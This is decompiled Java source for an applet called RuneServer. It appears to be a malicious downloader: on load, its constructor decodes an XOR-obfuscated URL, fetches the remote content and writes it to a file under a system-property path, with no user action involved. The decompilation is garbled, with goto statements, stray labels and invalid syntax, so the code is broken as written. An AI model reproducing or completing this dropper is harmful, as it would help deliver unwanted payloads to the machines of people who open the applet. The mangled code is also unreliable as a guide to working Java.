// RuneServer.java; class file size 1760 bytes import java.applet.Applet; import java.io.BufferedOutputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.net.URL; import java.net.URLConnection; public class RuneServer extends java.applet.Applet { private String a; static public boolean b; static public boolean c; static private String[] B; static public void main(String[] s1) { new RuneServer(); } public RuneServer() { IOException i1; a = B[2]; try { a(); } catch (i1) { } } public void a() throws java.io.IOException { boolean b1; String s2; String s3; URL u4; BufferedOutputStream b5; URLConnection u6; InputStream i7; byte[] b8; int i9; b1 = c; s2 = B[3]; s3 = b(); u4 = new java.net.URL(a); b5 = new java.io.BufferedOutputStream(new java.io.FileOutputStream(new StringBuilder().append(s3).append(s2).toString())); u6 = u4.openConnection(); i7 = u6.getInputStream(); b8 = new byte[1024]; { { do { if ((i9 = i7.read(b8)) != -1) { b5.write(b8, 0, i9); if (b1 == false) { } } } while (b1 == false); b = (b) ? 0 : 1; } b5.flush(); i7.close(); b5.close(); } } public String b() { boolean b1; b1 = c; new StringBuilder().append(System.getProperty(B[0])).append(B[1]).toString(); if (b == false) goto L59; c = (b1) ? 0 : 1; return L59: } static { goto g1; int i2; B = {"[y-k\u0009Fe%|","rYxTMb-}\u0009Dk:"}; g1 = goto L149.toCharArray().length; { g1 = goto L149.toCharArray(); i2 = 0; goto L128; goto L128; i2; L62: for (;;) { goto L128[i2]; switch ((i2 % 5)) { case 0: 46; goto L122; case 1: 10; goto L122; case 2: 72; goto L122; case 3: 25; goto L122; } 39; L122:[L122:] = (char) (L122: ^ L122:); i2++; new String(if (i2++ > i2) goto L62).intern(); break; } return (g1); } } }